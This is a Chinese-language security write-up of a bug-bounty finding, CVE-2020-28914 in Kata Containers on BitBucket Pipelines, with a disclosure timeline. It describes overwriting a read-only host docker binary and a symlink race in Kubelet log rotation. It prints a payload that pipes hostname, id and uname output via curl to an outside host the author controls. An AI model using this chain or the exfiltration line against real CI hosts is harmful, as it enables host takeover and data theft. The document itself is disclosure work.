BitBucket Pipelines中Kata Containers虚拟机逃逸漏洞分析

本文详细分析了在BitBucket Pipelines环境中发现的Kata Containers漏洞CVE-2020-28914,该漏洞允许恶意构建作业以root权限写入主机文件系统,涵盖技术细节、利用链和修复时间线。

BitBucket Pipelines Kata Containers虚拟机逃逸

2021-02-28
• Containers

Atlassian在Bugcrowd上运行了一个项目,旨在查找其BitBucket Pipelines CI/CD环境中Kata Containers实现中的错误。在参与该项目期间,我发现了Kata Containers中的一个漏洞,该漏洞允许在Kata VM中运行的进程写入本应为只读的卷挂载。此漏洞由Kata Containers团队修复,并分配了CVE-2020-28914。在项目Pipelines环境中,利用此漏洞允许恶意构建作业以root用户身份将半控制数据写入主机系统上的任意文件。

以下是对此错误发现的叙述,以及对在项目BitBucket Pipelines环境中利用该错误的影响评估。

注意:本文最初出现在Bugcrowd的博客上,由于Bugcrowd的帖子在博客平台迁移期间出现格式混乱和截断,因此在此重新发布。

引言

BitBucket Pipelines是一个CI/CD环境,用于运行来自BitBucket存储库的构建作业。Atlassian正在试验一种新的Pipelines构建环境,该环境使用Kata Containers尝试逻辑上分离不同用户的构建作业。Kata Containers是一种CRI兼容的容器运行时实现,通过Containerd在单独的QEMU虚拟机(VM)中执行容器。这个新环境的目标是提供比常规容器化更高水平的安全性和分离性,以防恶意构建作业逃逸构建容器。

在新的BitBucket Pipelines环境中,构建作业作为Kubernetes Pods执行,Kata Containers配置为容器运行时,导致每个构建作业在单独的Kata VM中执行。

BitBucket Pipelines环境概述

每个构建作业由几个容器组成:一个用于运行用户提供的构建命令的构建容器,几个用于执行所需Pipelines和构建服务的服务容器,以及一个用于执行Docker命令的特权Docker-in-Docker(DIND)容器。单个构建作业的所有容器都在同一个Kubernetes Pod中,在单个Kata VM中执行。

在此环境中,任何构建作业都不应影响在同一Kubernetes节点上运行的其他构建作业的输出,或能够逃逸Kata VM以危害节点。我的目标是尝试反驳这些断言。

漏洞狩猎

逃逸到Kata VM

从构建容器中,运行在特权DIND容器中的Docker服务可用于启动更多特权容器*。使用我先前在特权容器逃逸 - 控制组release_agent中描述的技术,可以逃逸容器环境,允许在Kata VM内直接以root用户身份执行命令。虽然这本身不是一个漏洞,但它是协助查找环境中其他错误的重要垫脚石。

*需要注意的是,生产中的BitBucket Pipelines实现了Docker授权插件以防止在特权DIND容器中运行任意Docker命令,但在此项目评估中该插件被禁用。

Kata Containers ‘hostPath’漏洞发现

在构建容器中,可以通过挂载的文件系统发现卷挂载。在调查挂载路径时,我注意到几个kataShared挂载:

1
2
3
4
5
6
7
8
root@buildcont$ mount
...
kataShared on /etc/hostname type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
kataShared on /dev/termination-log type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
kataShared on /etc/hosts type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
kataShared on /etc/resolv.conf type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio)
kataShared on /usr/bin/docker type 9p (ro,dirsync,relatime,mmap,access=client,trans=virtio)
...

输出截断以提高可读性。

阅读Kata Containers文档,我发现这些挂载是通过Plan 9文件系统协议(9p)从容器主机挂载的hostPath卷。hostPath卷将容器主机上的路径直接挂载到容器中。

其中一个挂载路径看起来特别有趣:/usr/bin/docker。构建容器配置为从容器主机挂载Docker客户端二进制文件的hostPath。我相信这是一种便利,确保无论构建容器使用什么基础镜像(基础镜像可由用户配置),它都能够访问DIND服务而无需手动安装Docker客户端。

从挂载输出中可以清楚地看到/usr/bin/docker路径被挂载为只读,任何写入此路径的尝试都会被内核拒绝。

从Kata VM检查挂载点显示,单个容器挂载点不可见,只存在一个“父”挂载点。

1
2
3
4
root@katavm$ mount 
...
kataShared on /run/kata-containers/shared/containers type 9p (rw,nodev,relatime,dirsync,mmap,access=client,trans=virtio)
...

输出截断以提高可读性。

然而,在此路径下,单个容器挂载作为文件和目录存在:

1
2
3
4
5
6
7
8
root@katavm$ ls -la /run/kata-containers/shared/containers
...
-rw-r--r--  1 root root       43 Oct 26 11:47 6f727...b39fb-hostname
-rw-rw-rw-  1 root root        0 Oct 26 11:47 6f727...7097c-termination-log
-rw-r--r--  1 root root      239 Oct 26 11:47 6f727...c5e0e-hosts
-rw-r--r--  1 root root       42 Oct 26 11:47 6f727...268f9-resolv.conf
-rwxr-xr-x  1 root root 50683148 Jan  9  2019 6f727...4440e-docker
...

文件名和输出截断以提高可读性。

为了进一步理解挂载过程,我在VPS上设置了一个测试Kubernetes环境,并将Kata Containers配置为容器运行时。然后,我部署了一个带有只读hostPath卷的Pod,如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
apiVersion: apps/v1
kind: Deployment
metadata:
  name: build-deployment
spec:
  selector:
    matchLabels:
      app: build
  template:
    metadata:
      labels:
        app: build
    spec:
      runtimeClassName: kata
      containers:
      - name: build
        image: alpine:latest
        command: ["tail"]
        args: ["-f", "/dev/null"]
        volumeMounts:
        - mountPath: /usr/bin/docker
          name: docker
          readOnly: true
      volumes:
      - name: docker
        hostPath:
          path: /opt/docker/bin/docker

评估测试环境时,我发现容器hostPath卷遵循从主机到目标容器的复杂挂载链,概述如下:

  1. 源挂载路径被绑定挂载到容器主机上的目标Kata VM共享目录(/run/kata-containers/shared/sandboxes/<KataVM_ID>/shared/)。
  2. Kata VM共享目录通过virtio-9p-pci设备共享到目标Kata VM。
  3. 在Kata VM内,virtio设备被挂载到容器共享目录(/run/kata-containers/shared/containers)。
  4. 挂载路径从容器共享目录绑定挂载到目标容器。

此时,我注意到一些奇怪的事情:

1
2
3
4
5
6
7
8
root@host$ mount
...
/dev/vda1 on /run/kata-containers/shared/sandboxes/9619d...b411d/shared/7277c...f78c0-docker type ext4 (rw,relatime)
...
root@host$ cat /proc/self/mountinfo
...
3196 2875 252:1 /opt/docker/bin/docker /run/kata-containers/shared/sandboxes/9619d...b411d/shared/7277c...f78c0-docker rw,relatime master:1 - ext4 /dev/vda1 rw
...

文件名和输出截断以提高可读性。

上面的输出显示,尽管docker挂载在Pod YAML中配置为只读,但它被绑定挂载为读写到Kata VM共享目录。尽管如此,它最终在目标容器中被挂载为只读。这意味着只读保护是从Kata VM内部应用的,意味着挂载源可能被直接在Kata VM中运行的命令修改。

由于已经在Kata VM内获得了命令执行(见上文“逃逸到Kata VM”部分),我通过写入本应为只读的docker二进制文件来测试这一点。

1
root@katavm$ echo 1 > /run/kata-containers/shared/containers/7277c...f78c0-docker

文件名截断以提高可读性。

写入成功,修改后的docker二进制文件可以从容器主机看到。

1
2
3
4
root@host$ ls -la /opt/docker/bin/docker
-rwxr-xr-x  1 root root 2 Oct 26 18:16 /opt/docker/bin/docker
root@host$ cat /opt/docker/bin/docker
1

回到Pipelines环境,我确认我能够修改容器主机上的docker二进制文件,并使修改后的二进制文件影响其他构建,非常酷!

不幸的是,由于我的PoC中的一个错误,我损坏了docker二进制文件的备份,破坏了节点上运行的所有其他构建,非常不酷!

此时,我决定尽可能清理并打开初始Bugcrowd报告,声明我可能已经对Pipelines环境进行了DoS攻击,并会尽快提供完整报告。几小时后,我完成了完整报告。

影响评估和利用

我已经确定,挂载到节点上每个构建容器中的docker二进制文件可以被恶意代码覆盖。这可以被利用来修改同一节点上其他构建的输出,但不幸的是,这似乎不能被利用来逃逸Kata VM并在容器主机上执行命令,这是我的最终目标。

进一步评估确定了另一个只读hostPath卷,该卷挂载了/var/log/pods/$(NAMESPACE_NAME)$(POD_NAME)$(POD_ID)目录。此挂载包括Pod中每个容器的标准输出日志。似乎此挂载被“代理”容器用于向Pipelines Web UI报告构建和服务容器输出。

Pod中的每个容器在日志目录中都有一个单独的子目录,容器的标准输出被写入其子目录下的0.log。从容器输出的每一行都被记录,前缀带有时间戳、流名称和截断状态,如下所示:

1
2
2020-10-29T12:49:35.410976914Z stdout F id
2020-10-29T12:49:35.503666526Z stdout F uid=0(root) gid=0(root) groups=0(root)

在我的测试环境中查找/var/log/pods目录,我很快发现这些日志是由容器主机上运行的containerd进程写入的。

第二个挂载似乎更有希望逃逸Kata VM,原因有三:

  1. 挂载源是一个目录,而不仅仅是像docker挂载那样的单个文件
  2. 目录中的文件由容器主机上以root用户身份运行的进程写入
  3. 写入文件的数据至少可以部分控制,因为它包括构建作业控制的容器的stdout

当我进一步深入研究此问题的潜在利用途径时,我不断更新Bugcrowd报告中的新信息。

写入原语

我利用此日志挂载的第一个想法是将测试容器的当前标准输出日志文件替换为指向另一个文件的符号链接,然后让容器将控制数据写入标准输出流。令人惊讶的是,这第一次就奏效了,将test/0.log链接到test/1.log导致“test”容器的标准输出流被写入目标test/1.log文件。

为了证明符号链接目标是由容器主机上的进程写入的(而不是从Kata VM内部),我配置了我的测试Kubernetes环境,其中Pod挂载了/var/log/pods/$(NAMESPACE_NAME)$(POD_NAME)$(POD_ID)目录,并确认此技术将在容器主机上创建挂载日志目录之外的新文件。

此时,我可以在容器主机上创建任何新文件,权限为-rw-r—–,所有者为root:root,并带有部分控制数据。然而,不幸的是,似乎无法覆盖或追加到现有文件。如果没有追加到现有文件的能力,此问题将更难利用,因为我在容器主机上可以创建的文件没有“执行”权限。

追加原语

由于某些未知原因,当将test/0.log符号链接到现有文件时,Containerd会拒绝覆盖或追加到符号链接目标。这让我比应有的更烦恼,因此我在GitHub上查找Containerd源代码,以了解这可能的原因。

结果发现,Containerd在写入容器标准输出日志行时会忽略错误,并且没有自动方法在错误时重新打开日志文件。我发现上面的写入原语实际上是由于Kubernetes Kublet中的日志轮换代码而起作用的。每10秒,Kubernetes kubelet进程会检查每个运行中容器的容器标准输出日志目录。如果0.log文件不存在,Kubelet会向Containerd发送gRPC请求,告诉它重新打开日志文件。然而,在0.log被符号链接到现有文件的情况下,Kubelet看到文件存在并且没有进行gRPC调用,阻止Containerd写入符号链接位置。

查看Kubelet日志轮换代码,我发现了追加到现有文件的可能性。如果0.log大于10MB,Kubelet会将0.log轮换为0.log.,然后向Containerd发送gRPC请求,告诉它重新打开0.log文件进行日志记录。

1
2
3
4
5
6
7
func (c *containerLogManager) rotateLatestLog(id, log string) error {
	timestamp := c.clock.Now().Format(timestampFormat)
	rotated := fmt.Sprintf("%s.%s", log, timestamp)
	if err := c.osInterface.Rename(log, rotated); err != nil {
		return fmt.Errorf("failed to rotate log %q to %q: %v", log, rotated, err)
	}
	if err := c.runtimeService.ReopenContainerLog(id); err != nil {

https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/logs/container_log_manager.go

这个跨两个进程的非原子操作包含一个相对简单的竞争条件。如果在Kubelet轮换0.log之后但在Containerd重新打开0.log之前,0.log被创建为指向现有文件的符号链接,Containerd将乐意打开符号链接目标并追加所有未来的日志行。

利用(或缺乏 thereof)

现在有了向容器主机上的任意文件追加的能力,我的计划是识别可能存在的shell脚本并追加执行任意shell命令的行。例如,在容器中执行以下命令:

1
echo 'Run command \\$({ hostname; id; uname -a; } 2>&1 | curl -T - http://debug.webhooks.pw/log)'

将导致以下行被追加到目标shell脚本:

1
2
2020-11-02T08:43:34.846940623Z stdout F + echo 'Run command \\$({ hostname; id; uname -a; } 2>&1 | curl -T - http://debug.webhooks.pw/log)'
2020-11-02T08:43:34.846946507Z stdout F Run command \\$({ hostname; id; uname -a; } 2>&1 | curl -T - http://debug.webhooks.pw/log)

当从bash或sh shell执行时,子命令{ hostname; id; uname -a; } 2>&1 | curl -T - http://debug.webhooks.pw/log将被执行,这将记录hostname、id和uname -a命令的输出到我控制的Web服务器。(由于子命令在shell脚本中的一行上的“主”命令之前评估,因此“主”命令,在此实例中为2020-11-02T08:43:34.846946507Z,不是有效的shell命令并不重要。)

不幸的是,在初始报告和Kata Containers修复在Pipelines环境中应用之间,我无法识别出容器主机上合适的目标shell脚本进行写入。然而,最终,BitBucket团队评估了提供的更新细节,并得出结论认为此问题可能被利用以root用户身份在容器主机上执行命令。虽然这是此旅程的一个稍微令人失望的结束,但我对BitBucket团队的响应感到满意。

时间线

  • 20201026 - 初始报告
  • 20201028 - Atlassian确认漏洞
  • 20201030 - Atlassian针对Kata Containers项目创建错误报告
  • 20201030 - 提供进一步信息
  • 20201106 - Kata Containers PR合并
  • 20201112 - Kata Containers修复发布
  • 20201117 - 分配CVE-2020-28914
  • 20201118 - Atlassian实施修复

致谢

我要感谢Atlassian BitBucket和Kata Containers团队对此问题的快速响应。

参考

  • 原始Bugcrowd报告:https://bugcrowd.com/disclosures/7bf77429-2b94-44ea-b6f9-c1fc59b2fd17/host-docker-binary-overwrite-from-kata-vm

  • CVE-2020-28914详细信息:https://github.com/kata-containers/community/blob/master/VMT/KCSA/KCSA-CVE-2020-28914.md

  • GitHub修复PR:https://github.com/kata-containers/kata-containers/pull/1062

  • 包含修复的Kata Containers发布:https://github.com/kata-containers/runtime/releases/tag/1.11.5

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计